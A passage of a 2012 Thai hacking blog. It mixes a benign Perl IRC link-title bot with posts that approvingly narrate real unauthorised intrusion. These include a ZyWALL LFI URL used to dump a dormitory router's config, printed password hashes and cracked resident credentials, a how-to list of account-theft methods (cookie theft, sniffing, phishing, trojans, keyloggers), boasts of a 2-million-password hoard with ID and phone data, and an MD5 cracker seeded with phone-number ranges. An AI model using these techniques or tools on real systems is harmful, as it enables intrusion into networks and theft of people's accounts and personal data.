Saturday, May 26, 2012

code บอท irc ของผม

เกริ่นนำกันก่อน ...
ปกติแล้ว พอพูดถึงบอท iRC หลายๆ คน มักจะคิดว่ามันเอาไว้แฮก
หรือเป็น zombie ไว้แฮกเครื่องชาวบ้าน อีกต่อ
(ซึ่ง code ที่กล่าวถึง นั้นคือ บอท ที่ ICT ห้ามเขียน)

แต่โดยส่วนตัว ผมว่า .. ไอ้บอทพวกเนี้ย เป็นพื้นฐานให้เด็กไทย รู้จักกับการทำงานของ socket เลยนะ

ซึ่งมันไม่จำเป็นจะต้องเขียนเป็นบอท เพื่อใช้แฮก เสมอไป
ลองนึกถึง บอท อับดุล (บอทใน msn ของ NECTEC) ที่เอาไว้ถาม-ตอบ
รวมไปถึงเจ้า ลูกไก่ SIMSIMI
ไอ้ของพวกนี้ผมว่ามันก็คือ บอททั้งนั้น

ดังนั้น กฏหมาย ที่ห้ามเขียนบอท
ผมว่าน่าจะระบุรายละเอียดให้มากกว่านี้หน่อย
(แต่ผมว่า คนออกกฏหมายเค้าจะรู้จักการทำงานของ socket มั้ยหว่า)


ส่วนเรื่อง ผลการตัดสิน ว่าผิดกฏหมายหรือไม่ ผมค่อนข้างมองว่า

"ตอนนี้ไม่ได้ใช้ตัวกฏหมายตัดสินผิด-ถูก .. แต่ใช้ตัวผู้บังคับใช้กฏหมายตัดสิน"
(ผมก็ไม่ได้ตั้งใจ ด่า ตำรวจ นะเคิฟ)



ปล. บอทตัวนี้เอาไว้ อ่าน+แสดง title ของ link ที่โพสๆ กันใน iRC เพื่อให้ความสะดวก ในการตัดสินใจว่าจะ คลิก ตามไปอ่านหรือไม่ มากกว่า
(ลิงค์ดักเกย์ ยิ่งเยอะๆ อยู่ .. จะคลิกที คิดแล้วคิดอีก)

#!/usr/bin/perl

use IO::Socket;
use Data::Dumper;
use HTTP::Cookies;
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);
use Encode::Detect::Detector;
use Encode qw(encode decode);

my $CTK = "\x03";#ctrl+k
my $CTB = "\x02";#ctrl+b
my $CTU = "\x1F";#ctrl+u
my $LANG = "TIS-620";#IRC SERVER ENCODING

my @tmp_msg;
my $tmp_msg_limit = 10;

my $nick = 'thdz';
my $server = 'www.thaishadow.com';
my $port = '6667';
my @chans = ('#thaishadow');

my $cookie_jar = HTTP::Cookies->new(autosave =>1, hide_cookie2=>1);

my $browser = LWP::UserAgent->new(
  agent=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
  timeout=>15,
  cookie_jar=>$cookie_jar
);

my $socket = IO::Socket::INET->new(
  PeerAddr => $server,
  PeerPort => $port,
  Proto => 'tcp',
  Timeout => '60'
) or die("[!] Couldnt Connect To $irc $!\n");
$socket->autoflush(1);
sleep 1;


print $socket "NICK $nick\r\n";
print $socket "USER thdz thdz-mini thdz\@thdz.com by windows98SE\r\n";
joinchan();

while(my $line = <$socket>){
  $line =~ s/\r\n$//;
  # PING - PONG
  if($line =~ m/^PING (.*?)$/gi){
 msg("PONG $1");
  # rejoin when kick
  }elsif($line =~ m/^\:(.*?)\!(.*?)\@(.*?) KICK\s(.*?)\s(.*?)/i){
 msg("JOIN $4");
  # rejoin
  }elsif($line =~ m/rejoining/i){
 joinchan();
 sleep(3);
  # gen new nick
  }elsif($line =~ m/^\:(.+?)\s+433/i) {
 $nick = $nick.int rand(999);
 msg("NICK $nick\r\n");
 joinchan();
  # pare chat msg
  }elsif($line =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/){
 my ($user, $where, $chat_msg) = ($1, $4, $5);
 #ignore bot msg
 next if($user eq $nick);

 # protect flood
 if(match_eq($chat_msg, \@tmp_msg)){
   next;
 }else{
   push(@tmp_msg, $chat_msg);
   if(scalar(@tmp_msg)>=$tmp_msg_limit){
  shift(@tmp_msg);
   }
 }

 # response to room or private msg
 if($where !~ /^#/){
   $where = $user;
 }
 &pare($where, $chat_msg);
  }
}

sub pare {
  my $where = $_[0];
  my $chat_msg = $_[1];
  if(my $pid = fork){
 waitpid($pid, 0);
  }else{
 if(fork){
   exit;
 }else{
   &work($where, $chat_msg);
 }
 exit;
  }
}

sub work{
  my $where = $_[0];
  my $chat_msg = $_[1];
  if($chat_msg =~/^(https?:\/\/([^\s]+))/i){
 my $url = $1;
 if($url =~ /youtu(\.be\/|be\.com\/.+?v=)([^\&\s]+)/){
   &youtube_data($where, $2);
 }else{
   &get_title($where, $url);
 }
  }
}

sub msg{
  if($#_ == '1'){
 my $msg = &toLANG($_[1]);
 print $socket "PRIVMSG $_[0] :$msg\r\n";
  }else{
 print $socket "$_[0]\r\n";
  }
}

sub joinchan{
  foreach my $chan(@chans){
 print $socket "JOIN $chan\r\n";
  }
}

sub get_title {
  my $url = add_http($_[1]);
  my $domain = domain($url);
  if(check_allow_domain($domain)){
 my $resp = $browser->get($url);
 if($resp->status_line=~m/(200.*)/i){
   my $title = $resp->headers->{'title'};
   if($title){
  msg($_[0], "[${CTK}12Title${CTK}] $title");
   }
 }
  }
}

sub youtube_data{
  my $content = $browser->get('http://gdata.youtube.com/feeds/api/videos/'.$_[1])->content;
  my ($title) = $content =~/<media\:title type=\'plain\'>(.+?)<\/media\:title>/;
  my ($favoriteCount, $viewCount) = $content =~/<yt:statistics favoriteCount='(\d+)' viewCount='(\d+)'\/>/;
  my ($duration) = $content =~/<yt\:duration seconds=\'(\d+)\'\/>/;
  my ($author) = $content =~/<author><name>(.+?)<\/name>/;
  my ($rating) = $content =~/<gd:rating average='([^']+)'/;

  if($title){
 msg($_[0], "[${CTK}1,16You${CTK}${CTK}16,4Tube${CTK}] ${CTB}Title:${CTB} $title, ${CTB}Author:${CTB} $author, ${CTB}Time:${CTB} ".
   time_format($duration).", ${CTB}View:${CTB} ".number_format($viewCount).", ${CTB}Fav:${CTB} ".
   number_format($favoriteCount).", ${CTB}Rating Arg:${CTB} ".sprintf("%.2f", $rating)
 );
  }
}

sub number_format{
  my $number = $_[0];
  $number =~ s/(\d)(?=(\d{3})+(\D|$))/$1\,/g;
  return $number;
}

sub time_format{
  my $return;
  my $in = $_[0];
  my $sec = int($in%60);
  my $min = int($in/60);
  my $hr = int($in/(60*60));
  $return .= "${hr}H:" if($hr);
  $return .= "${min}m:" if($min);
  $return .= "${sec}s" if($sec);
  return $return;
}

sub add_http {
  my $in = $_[0];
  $in =~ s/\/$//gi;
  $in =~ s/http(s)?\:\/\///gi;
  $in = 'http://'.$in;
  return $in;
}

sub no_http{
  my $in = $_[0];
  $in =~ s/http(s)?\:\/\/|\/$//gi;
  return $in;
}

sub domain {
  my $in = no_http($_[0]);
  $in =~ s/([^\/]+).*/$1/gi;
  $in =~ s/^www\.//gi;
  return $in;
}

sub check_allow_domain {
  my $domain = domain($_[0]);
  my @allow_domain = (
 'board.blackbuntu.com', 'thaishadow.com', 'piratepeer.com', 'opkwin.com', 'stephack.com',

 #'facebook.com',

 'sanook.com', 'kapook.com', 'mthai.com', 'dek-d.com',

 'thaiseoboard.com', 'drama-addict.com',

 'thairath.co.th', 'manager.co.th',

 'pantip.com', 'blognone.com', 'blogspot.com',

 'stackoverflow.com', 'unix.com', 'h-online.com', 'thehackernews.com', 'perlmonks.org',

 'exploit-db.com', '1337day.com', 'packetstormsecurity.org',

 'sritown.com',

 'pastebin.com',
  );
  return $domain if(match($domain, \@allow_domain));
}

sub match {
  my $string = $_[0];
  my @array= @{$_[1]};
  foreach my $tmp (@array){
 return $string if($string =~ /$tmp/i);
  }
}

sub match_eq {
  my $string = $_[0];
  my @array = @{$_[1]};
  foreach my $tmp (@array){
 return $string if(uc($string) eq uc($tmp));
  }
}

sub toLANG {
  my $msg = $_[0];
  my $encoding_name = Encode::Detect::Detector::detect($msg);
  if($encoding_name ne $LANG){
 return Encode::encode($LANG, Encode::decode($encoding_name, $msg));
  }else{
 return $msg;
  }
}

<Pirate> http://www.youtube.com/watch?v=wFuaZqyGDsI
<thdz> [YouTube] Title: TerraCotta - เคมี, Author: MusictabI4, Time: 4m:53s, View: 564, Fav: 2, Rating Arg: 5.00

หา index จาก array 3 มิติ

พอดีเมื่อคืน โดนถามเรื่อง จะหาค่า index
ของ ค่าที่ต้องการ จากใน array 3 มิติ ยังไง (perl)
ก็เลย เขียน (มั่วๆ) มา ..
(ไม่ได้เขียนเป็น ฟังชั่น นะ)

ดังนั้น เอาไป พลิกแพลงเอาโลด



แบบ array ปกติๆ
#!/usr/bin/perl
use Data::Dumper;
my $search = 'four';
my @array = (
  [1, 2, 3, 'four'],
  ['one', 'two', 'three', 4]
);
foreach my $index_a (0..$#array){
  foreach my $index_b (@{$array[$index_a]}){
 if($array[$index_a][$index_b] eq $search){
   print "$search = \$hash[$index_a][$index_b]\n";
   exit;
 }
  }
}

แบบ แปลง %hash มารับค่า (ทำ ทำไม ?)
#!/usr/bin/perl
use Data::Dumper;
my %hash;
my $search = 'four';
my @array = (
  [1, 2, 3, 'four'],
  ['one', 'two', 'three', 4]
);
foreach my $i (0..$#array){
  @hash{$i} = $array[$i];
}
foreach my $index_a(keys %hash){
  my $i = 0;
  foreach my $index_b(@{$hash{$index_a}}){
 if($index_b eq $search){
   print "index = \$hash[$index_a][$i] = $index_b\n";
   exit;
 }
 $i++;
  }
}


unknown@PiratePeer~/Desktop# ./test.pl
index = $hash[0][3] = four


เสริม หาก จะเช็ค ว่า ค่านี้ เป็น array หรือไม่
ให้ใช้ ref($) เอา

# Is there an isArray() in Perl? --> http://www.perlmonks.org/?node_id=118961
foreach $item (@array){
  if(ref($item) eq 'ARRAY'){
 #It's an array reference...
 #you can read it with $item->[1]
 #or dereference it uisng @newarray = @{$item}
  }else{
 #not an array in any way...
  }
}

Thursday, May 24, 2012

มุขนี้ฮา ... (แฮก smf)

มุขนี้ต้องเคยใช้ smf (simple machine board) มาก่อนถึงจะเก็ต

 ไอ่ attempt แฮก thd อีกแล้วครับพี่น้อง
 http://thaishadow.com/board/Sources/Subs.php
 โหด *0*
 o_@
 เงิ้บ
* Pirate มุกนี้ ฮา .. ผมให้ผ่าน

Saturday, May 19, 2012

แฮกเน็ตหอ ... ที่ใช้ ZyXEL ZyWALL 200

บทความนี้ .. เกิดจาก ความที่ผมเป็นคนที่ต้องเดินทางบ่อยๆ
ซึ่ง มักไปอาศัยตามห้องเพื่อน

ซึ่งเพื่อนคนหนึ่ง ห้องมันก็อยู่ ไกล๊ ไกล ... ทำให้ @Truewifi ไปไม่ถึง
ก็เลยได้ลองใช้เน็ตของมันดู

ซึ่งก็พบว่า

- มีระบบ login
- 2 ชม. ต้อง login ใหม่
- user จะเนียล login ซ้อนไม่ได้ ( ผมเดาว่า เค้า lock ที่เลข mac address ที่กำลังใช้งาน )


ผลคือ .. ผมเลยต้องแย่งใช้กับมัน !! (ทำไงได้ ตรูอยาก chat นี่หว่า)

ก็ตามเดิมฮะ .. ผมมันคนไม่เคยแฮกเน็ต wifi ก็ต้องมั่ว กันก่อน
netbook ประจำกายโปรกงโปรแกรมสำหรับแฮกก็ไม่มี
(เพราะ spec มันต่ำ .. เอาไว้แค่ เปิด เวป ก็เกินทน แล้ว)


ดังนั้น บทความ ต่อไปนี้ คือการแฮก แบบไม่มี tools นะครับ

ขั้นแรกก่อนเลย ผมทำการลอง connect ไปที่ชื่อเน็ต ของหอเพื่อน
จากนั้น เปิด firefox เข้า google.co.th
... ผลที่ได้คือ ผมโดน redirect ไปที่ 10.10.10.10
ซึ่งเป็นหน้า login ของ หอพักนั่นเอง

ซึ่งผมเดาว่า 10.10.10.10 เป็น gateway ของหอพัก
และ พิสูจน์ โดยการ เปิด cmd มา แล้ว รัน ipconfig /all
เพื่อ ดู gateway ชัดๆ อีกที
(บอกตรงๆ ว่าดูไปงั้นแหละ .. มันเป็นการเก็บข้อมูล เครื่องเป้าหมาย เฉยๆ)

จากนั้น ผมก็ดูโครงสร้าง รวมๆ ของ หน้า login ว่า
เป็นแบบไหน มีการส่งค่าที่เรา ใส่เข้าไป ไปที่หน้าไหน เครื่องเดียวกันมั้ย ฯลฯ
(เอาเป็นว่า ขั้นตอนนี้ต้องดูละเอียดหน่อย ... view source ของ page ดูกันเลย)

จากนั้น ผมก็เจอ ข้อความ ราวๆ "ZyWALL 200" อะไรนี่แหละ
(ตรงนี้ จำไม่ได้ เพราะ เขียนบทความที่บ้านหลังจาก ที่ ซน ไว้ เป็นเดือน -.-)
ซึ่ง ผมก็เอาเครื่องที่ เข้าเน็ตได้ ค้น google เลย
เริ่มจาก "zywall"

ทีนี้ ผมก็เริ่มรู้คร่าวๆ ว่า ระบบ login เนี้ย มันติดมาจาก เร้าเตอร์ เลย
ผมก็ค้น google ต่อ ราวๆ "bypass zywall", "exploit zywall"
อะไรประมาณเนี้ย

ซึ่งผมก็ไปเจอ
"Authentication Bypass in Configuration Import and Export of ZyXEL ZyWALL USG Appliances"
ของเวป www.redteam-pentesting.de/ เข้า
ซึ่งพอได้อ่านปุ๊ป อ่า .. เข้าทางเลย ใช่เลย รุ่นนี้ รั่วแน่ๆ

ก็สรุปว่า เจ้า เร้าเตอร์ รุ่นนี้ ตัว สคิป export-cgi มัน รั่ว LFI อยู่
ผมก็จัดการดึง ไฟล์ startup-config.conf ออกมาอ่าน

https://10.10.10.10/cgi-bin/export-cgi/images/?category=config&arg0=startup-config.conf

ซึ่งในนั้น ก็จะมี รายชื่อ user, pass, รวมไปถึง user ต่อ internet ของทั้งหอพักอยู่
(ผมเลยได้ user true wifi ใช้ฟรี อีก 1 user .. แผลบๆ)

ซึ่ง พาสด้านใน จะเขียน ราวๆ

! saved at 2012-04-21 22:24:50
! model: ZyWALL USG 200
! firmware version: 2.20(AQU.1)

username guest password $1$HbjbbJbb$WNo.P9W0289pg6PWLIgKR. user-type guest
username admin password $1$ebbbbbbe$9rN5KNw8MRe0CQHsxAgAi1 user-type admin
username office password $1$twWbbRE9$h2P/P2MrbLsNQ4L7IPwVG0 user-type user
username p104 password $1$bb6bbbZD$cB1evOBh.fGegyNS3kVU21 user-type user
.
.
.
ซึ่งจะเห็นว่า เข้า รหัส อยู่ .. ด้วยความที่ netbook ผมมันไม่แรง
ผมก็เลย โพสพาสไว้ใน facebook ให้ หล่อๆ ในนั้น ช่วย crack ซะหน่อย
(จากการทดสอบ โพสในเฟสบุค หลายๆ คนดันไม่รู้ว่า เข้ารหัสไว้แบบไหน)

ผมก็เลย ยกตัวอย่าง อธิบายอีกว่า
ถ้า $1$bb6bbbZD$cB1evOBh.fGegyNS3kVU21 คือพาส 12344567

ให้แยกเป็น
$1$ + bb6bbbZD$ + cB1evOBh.fGegyNS3kVU21

ตัว $1$ คือ ประเภท algorithm (เลข 1 คือ MD5, เลข 6 คือ SHA-512 )
ตัว bb6bbbZD คือ salt
และ cB1evOBh.fGegyNS3kVU21 คือ hash

ซึ่งพอนำมาเขียนเป็น code ที่ใช้ เข้าเข้ารหัส ก็จะได้

# see this
# $1$ | bb6bbbZD$ | cB1evOBh.fGegyNS3kVU21
#
# --> $1$ = algorithm (6 = SHA-512, 1 = MD5)
# --> bb6bbbZD = salt
# --> cB1evOBh.fGegyNS3kVU21 = hash
#
use Crypt::PasswdMD5;
my $pass = '12344567';
my $salt = 'bb6bbbZD';

my $crypted = unix_md5_crypt $pass, $salt;
print $crypted;

# print --> $1$bb6bbbZD$cB1evOBh.fGegyNS3kVU21


จากนั้นก็ทำการเขียน script เป็น script brute
และ ทำการ บรูท ... ผมก็ได้ผลลัพท์ มาเป็น

C:\Users\stephack\Desktop>crack.pl
[+] found guest:guest ($1$HbjbbJbb$WNo.P9W0289pg6PWLIgKR.)
[+] found p104:12344567 ($1$bb6bbbZD$cB1evOBh.fGegyNS3kVU21)
[+] found p108:112233 ($1$bbbbRYYb$vmuEXmd2Tn4I3GZYG9H/V.)
[+] found p201:1234567 ($1$/YQbIFtb$bP0NYGfJWjeaoWSBz2CQs/)

ซึ่ง เท่ากับว่า ผมมี user อื่น ให้ใช้ .. โดยที่ไม่ต้องแย่งใช้กับเพื่อน แล้วนั่นเอง ^^

ปล. ใคร งง แนะนำให้อ่านเพิ่มเรื่อง crypt ได้ที่ http://php.net/manual/en/function.crypt.php ครับผม

ปล2. วิธีป้องกัน เท่าที่รู้ firmware ล่าสุดยังไม่ออก หรือ ไม่รุ้ว่าแก้ไขรึยัง
ให้ เข้า root ไป แก้ export-cgi ให้กรอง ตัวแปร ที่รับเข้ามาไปก่อน
(เดี๋ยวค่อยรวบสอนป้องกัน ละเอียดๆ ไว้ทีเดียว)

PHP Live!

จริงๆ อันนี้ เขียนไว้ นานแระ
แต่พอเปลี่ยน db ดันลืม เอามาไว้ .. ก็เลยเอากลับมาลงอีกที



เรื่องของเรื่อง คือ เจ้าเอ็ก
ซึ่งปกติ มันแฮก user ของเน็ตไวไฟ ของคอนโด ข้างๆ มาใช้
ตรงส่วนนี้ บอกตรงๆ ผมไม่เคย แฮก ไวเรส ชาวบ้าน
เพราะ ระแวก 5 กิโลเมตร รอบบ้าน ก็มีแค่ผม เจ้าเดียวมั้ง ที่ใช้เน็ต
(อ่านตอนแรก เหมือนจะ เป็น คนดี .. ที่ไหนได้ เซาะกราว ขนาด)

Friday, May 18, 2012

เมื่อผมเจอคำถาม "พี่ครับ สอนแฮก ให้ผมหน่อย", "แฮก facebook ยังไง", "แฮก camfrogยังไง"

แรกๆ ผมมองว่า ประโยค "พี่ครับ สอนแฮก ให้ผมหน่อย" นี้
เป็น "ประโยคขอร้อง" ที่ผู้พูด กล่าวออกมาเพื่อ ขอความช่วยเหลือ จากเรานะ

แต่หลังๆ ผมมองเป็นประโยคคำถาม ไปซะแล้ว
เพราะผมรู้สึกว่า ผมเองไม่ได้เก่งพอที่จะ ตอบว่า ผมรู้ไปหมดทุกเรื่องเหมือนกัน (ก็ผมไม่ใช่แฮกเกอร์นี่หน่า)

ดังนั้นผมจึกมักถามกลับไปว่า .. "ลองยกตัวอย่าง คำว่า แฮก ของคุณให้ผมฟังหน่อย"
ที่ถามแบบนี้ เพราะ ไอ้คำว่าแฮกเนี้ย มันกว้างมากกกกก สำหรับผม
ผมเคยค้นใน youtube คำว่า "hack" ... จำได้ว่า ผลลัพธ์ ที่ได้มาคือ การ modify ถ่านไฟฉาย ( - -'' )

ดังนั้น หากคำตอบที่ได้ ตรงกับสิ่งที่ผมสามารถพอที่จะทำได้
นั่นแปลว่า ผมน่าจะมีความสามารถพอที่จะสอนเค้าได้เช่นกัน

เอาล่ะ .. อ่านถึงตรงนี้แล้ว ไหนลอง ยกตัวอย่าง คำว่า "แฮก" ของคุณให้ผมฟังหน่อย ได้มั้ย ??


----------

ส่วน "แฮก facebook หรือ แฮก camfrog ยังไง"
สำหรับผม ... สั้นๆ คือ "ถ้าจะแฮกอะไร ก็ต้องทำความเข้าใจในสิ่งนั้น"

อ่านถึงตรงนี้ คงกำลังคิดในใจว่า "แล้วตรูต้องเข้าใจอะไรบ้างล่ะวะ" น่ะเหรอ ?
(ความคิดของ กลุ่มมือใหม่ วัยกำลังแตกเกรียน)

ผมก็จะบอกว่า ... สิ่งที่ต้องมี คือ "พื้นฐาน", "จินตนาการ" และ "ประสพกาม" เอ้ย "ประสบการณ์" ครับ
แต่ผมเองก็บอกไม่ได้นะ ว่าต้องใช้อะไรในอัตราส่วน กี่เปอร์เซ็น แต่เอาเป็นว่า พื้นฐานสำคัญสุด
สิ่งแรกที่คุณต้องเข้าใจ คือ คุณกำลังจะทำอะไร, โครงสร้างโดยรวมเป็นยังไง
และ ความเป็นไปได้รวมไปจนถึงโอกาศที่คุณจะแฮกสำเร็จ




คำเตือน วิธีนี้เหล่านี้อาจจะทำให้ครอบครัวร้าวฉานได้

1. ดูพาสจากใน browser ต่างๆ (firefox, ie, safari, ฯลฯ)
หรือ แอบดูเวลาเป้าหมายพิมพ์พาส (เค้าไม่น่าเอามือปิดแน่นอน)
(รวมไปถึง ขโมยไฟล์ cookies จากใน temp นะ)
วิธีนี้ ค่อนข้างง่าย น่าจะทำได้ทุกคน แต่เงื่อนไขเยอะ

ข้อดี
- ไม่ต้องใช้ tools
- ไม่ต้องติดตั้งโปรแกรมอะไรเพิ่ม
- มีวิธีโมให้ firefox เขียนพาสทุกอยากที่กรอก เป็นไฟล์ด้วย
(ยังกับ firefox ทำงานเป็น keyloger ให้เราเลย)
ข้อเสีย
- ต้องไปนั่งหน้าคอมเป้าหมาย หรือ เป้าหมายมาใช้คอมเรา

2. sniff ข้อมูล ในวง lan (บ้าน, หอพัก, ร้านเกมส์, โรงแรม, ห้องเรียน, มหาลัย, ที่ทำงาน, ฯลฯ)
ข้อนี้ ผมขอรวมไปถึง ทำ man in the middle นะ
แต่วิธีนี้ ค่อนข้างวุ่นวายขึ้นมาหน่อย ต้องที่ต้องใช้โปรแกรมช่วย (ไม่อยากบอกชื่อโปรแกรมนะ .. เดี๋ยวคนเดือดร้อนเยอะ)
แต่เอาเป็นว่า ผู้อ่านสามารถระวังๆ ไว้โดยการใช้ https เข้าเวป, sftp เข้า ftp ก็แล้วกัน
*แต่ https ก็ยังโดนแฮกได้โดย hacker ทำ arp แล้ว สร้าง https ปลอมปล่อยออกมานะ
แต่ผมค่อนข้าง ภาวนาให้ระดับทำ https ปลอมได้ น่าจะยังมีน้อยคนอยู่นะ
แต่ก็ไม่ได้บอกว่าไม่มีใครทำได้นะ เพราะ สมัยนี้โปรแกรมสำเร็จรูปมันเยอะ
และ คนที่จะแฮกชาวบ้าน พออ่านถึงตรงนี้ ต้องไปหาจาก ใน google เพิ่มแน่นอน
ข้อดี
- คนแฮกเห็นทั้ง พาส และ ข้อมูล ที่ไม่ได้ใช้ secure protocols (ftp, http, ฯลฯ)
(ข้อเสียคนใช้งาน internet เลยนะเนี้ย)
ข้อเสีย
- ต้องใช้โปรแกรมช่วย
และ ต้องฝึกใช้โปรแกรม ซักพัก
(แนะให้ ซ้อม ใน VMware ก่อนเลยครับ น้องๆ ...[อ้าว ค่อนข้าง ชี้นำโจร เลยแฮะตรู])

*แนะให้ดู VDO http://youtu.be/yrhJPVs_HRc เพิ่มอีกที
(คลิปนี้ใกล้เคียงหัวข้อนี้อยู่พอสมควร)

3. รวบรวมข้อมูลของเป้าหมาย แล้ว "สุ่ม login" หรือ "สุ่มคำถามกันลืม"
โดยส่วนตัวแล้ว ผมว่าวิธีนี้ผู้หญิงจะได้เปรียบกว่าผู้ชายนะ
เพราะ ผู้ชาย มันจำได้แต่เรื่องเกมส์ .. พอเรื่องแฟน มันจำไม่ได้หรอก
(ฮ่าๆๆ .. หรือแก๊งหนุ่มๆ จะเถียงว่าไม่จริง ?)
ข้อดี/ข้อเสีย
- อันนี้ คิดไม่ออก ไม่รุ้ จะบอกว่ามี ข้อดี/ข้อเสีย ยังไง แฮะ
ดังนั้น คิดเอาเองบ้าง .. อย่าให้คิดให้ ตลอด
..เดี๋ยว สมองฝ่อหมดเด้อ !! (ผมกวนตีนซินะ)

4. ทำ fishing, pushing ต่างๆ
วิธีนี้ ค่อนข้างเข้าใจนะว่าคนที่ไม่รู้เรื่องแฮก หรือ มือใหม่เจอศัพท์ก็อาจจะต้องมีงงๆ กันบ้างแน่ๆ
เอาเป็นว่า มันเป็นวิธีหลอกล่อเป้าหมาย ให้กรอกข้อมูล ใน site ปลอม หรือ อะไรทำนองนี้
เช่น พวก app facebook ต่างๆ, เวปแจก iphone ให้กรอก ข้อมูล, ฯลฯ
ซึ่งอาจจะ มาในรูป email, PM, ฯลฯ (ประมาณว่า หลอกให้เหยื่อ เปิดให้ได้)

ส่วนมาก เวปธนาคาร ต่างๆ มักจะโดนวิธีนี้กันบ่อยๆ
.. แต่ผู้ใช้สามารถป้องกันได้โดย OTP Password
(แต่ OTP ก็ยังแฮกได้นะ แต่คนทำได้อาจจะน้อยลงมาอีกหน่อย)

และ ที่สำคัญ หาก host ไหนมีการทำ page ปลอมเพื่อ fishing
โฮสนั้น มีความผิด ต้องตามตัวคนทำให้ได้ นะครับ (ค่อนข้างเป็นความผิด สากล นะ)

ข้อเสีย
- วิธีนี้ ค่อนข้างยุ่งยาก ต้องใช้ความรู้ html, php, และ การทำงานของระบบ internet นิดหน่อย

5. ใช้ โทรจัน หรือ keyloger
*โทรจัน เป็น โปรแกรม ชนิดหนึ่ง ทำงาน เหมือน client/server คอยควบคุมการทำงานต่างๆ ของเครื่องได้
วิธีนี้ ไม่ว่าจะเดินไป ลงใส่ในเครื่องเป้าหมาเอง หรือ ประยุกใช้ โดยการส่งเป็น email, pm หลอกให้เปิด
พอโปรแกรมโทรจันถูกสั่งทำงานในเครื่องเหยื่อ (แค่ดับเบิลคลิก ไฟล์ ซีตุ๊บ[setup] ก็เรียบร้อย)
แฮกเกอร์ ก็จะควบคุมได้เหมือนอยู่หน้าจอเครื่องเหยื่อเลยทีเดียว
(หลายๆ โปรแกรม สั่งขยับเม้า เครื่องเหยื่อได้เลยนะ)

แต่ วิธีนี้ ถ้า โทรจัน ยี่ห้อ ดังๆ ที่แจกฟรีทั้งหลาย
มักจะป้องกันได้ โดย anti-virus ทั่วๆ ไป (แม้จะฟรี แต่ต้อง update AV มันด้วยนะ)
แต่ถ้า พวก trojan/keyloger แบบ เสียเงิน AV ทั้งหลาย อาจจะตรวจไม่เจอ
ดังนั้น ผู้ใช้ ถ้าเจอไฟล์แปลกๆ เช่น "โกงเกมส์เพชร.exe" หรือ "crack.exe" ก็ให้ระวังไว้
ผมมักจะแนะนำให้เอาไฟล์ไป ทดสอบ run ใน VMware ที่ลงโปรแกรมจำพวก GO Back ซะก่อน

วิธีนี้ บางครั้ง ผมเห็นมีการใช้โปรแกรมจำพวก VNC เช่น pc any where, TeamViewer อะไรทำนองนี้นะ
สรุปว่า วิธีนี้ขึ้นอยู่กับ "จินตนาการ" เยอะหน่อย

6. ใช้ exploit ต่างๆ
วิธีนี้ ส่วนมาก เอามากระยุคใช้ ส่ง email, pm, ไก่ sim simi, ฯลฯ
รายละเอียด ดูใน http://youtu.be/J7FgKzRRYbQ เอาแล้วกัน
เพราะ รายละเอียดเยอะ .. แล้วก็ ผมสอนเรื่องนี้ อยู่ใน "คอสสาม"
(แต่ ณ วันที่เขียนผมยังย้ายคอสมาไว้เวปนี้ไม่เสร็จ ^^")

7. แฮกพาสจากเวปอื่นที่เป้าหมายเป็นสมาชิก
ไม่ว่าจะด้วย RFI, LFI, Xss, Csrf (คอส 1,2)
วิธีนี้ เหมือนเป็นการ "เผื่อฟรุ๊ก" ว่าเป้าหมายจะใช้พาสเดียวกัน กับเวปที่แฮกได้

ยกตัวอย่าง ราวๆ 5 ปีที่แล้ว (ช่วงยังคึกๆ อยู่)
ผมมีพาสของเวปไทยที่ไม่เข้ารหัส รวมๆ แล้ว ราวๆ 2 ล้านกว่าพาส(ที่ไม่ซ้ำกัน)
ซึ่งผมไม่นับเลยนะ ว่าผมมี
username, ชื่อจริง, นามสกุลจริง, คำถามกันลืม, เลขบัตรประชาชน, email, เบอร์โทร
มากกว่านั้นเท่าไหร่ (ซึ่งนี่ยังไม่รวม ที่เป็น hash ที่ไม่ได้ crack นะ - -'')

ดังนั้น วิธีป้องกัน ผมก็แนะนำให้ว่าอย่าใช้พาสเดียวกันทุกเวปนะครับ

และด้วยความสัตย์จริง
ผมไม่เคยดักพาส user ในเวปผมนะ, แต่ผมเคยเจอเวปอื่น มีสคิป ดัก พาส login ไว้
ซึ่งเวปนั้นอาจจะโดนคนอืนแฮกเข้าไปแก้ให้ดัก
แต่ผมว่า ก็สบายผมนะ .. เพราะหน้าที่ผม ก็แค่ตบพาสที่เค้าดักไว้ให้แล้วมาสะสมไว้อีกทีเท่านั้นเอง ^^"

8. แฮก facebook.com ไปเลย
วิธีนี้ ไม่ใช่ว่าเป็นไม่ได้ นะ
วันนี้ แฮกไม่ได้ .. แต่วันใดวันหนึ่ง มี 0day ออกใหม่ หรือ เจอ private exploit ขึ้นมา
เวปใหญ่ๆ ก็ไม่รอดเหมือนกัน (แต่อาจจะป้องกันได้ภายใน 12 ชม.)

9. ถามจากเป้าหมายเลย ว่าพาสอะไร
ไม่ว่าจะถามกันตรงๆ หรือหลอกล่อหน่อยๆ
เช่น ขอมาใช้เล่นเกมส์ไพ่ (หรือเกมส์อะไรที่อีกฝ่ายไม่เล่น) ฯลฯ เป็นต้น


สรุป : เท่าที่นึกได้ ก็คงราวๆ นี้มั้ง
(เพราะ บางวิธี มันรวมอยุ่ใน exploit หรือ พลิกแพลงเทคนิกนิดหน่อย น่ะ)

Thursday, May 17, 2012

MD5 Hash Cracker

พอดีวันนี้ มีการพูดถึงเรื่อง บรูทพาส กันนิดหน่อย
ก็เลยเอา code แนวๆ brute md5 ที่เคยเขียนไว้มาลงไว้ใน blog หน่อย



#!/usr/bin/perl -w
# Copyright (c) 2011 by windows98SE
#
# This software is open source, licensed under the GNU General Public
# License, version 2.
# Basically, this means that you're allowed to modify and distribute
# this software. However, if you distribute modified versions, you MUST
# also distribute the source code.
# See http://www.gnu.org/licenses/gpl.html for the full license.
use Digest::MD5 qw(md5_hex);

my $debug = 1;
my $debug_report = 5000000;#or 1000000, 99999999999999999 (if you don't want report)
my $start_time = time();
my $end_time;

my $file = 'crackme.txt';
my $cracked_out_file = 'cracked.txt';

my %hashlist = readFile($file);
print "[+] uncracked ".scalar(keys(%hashlist))." hash loaded\n";

my %passlist = (
  #name => aaa-nnn,

  '1 basic' => '000000-999999',
  '2 basic' => '0000000-9999999',
  '3 basic' => '00000000-99999999',

  '4 mobile 081' => '0810000000-0819999999',
  '5 mobile 085' => '0850000000-0859999999',
  '6 mobile 086' => '0860000000-0869999999',
  '7 mobile 089' => '0890000000-0899999999',
  '8 mobile 080' => '0800000000-0809999999',
  '9 bkk_tel' => '0200000000-0299999999',

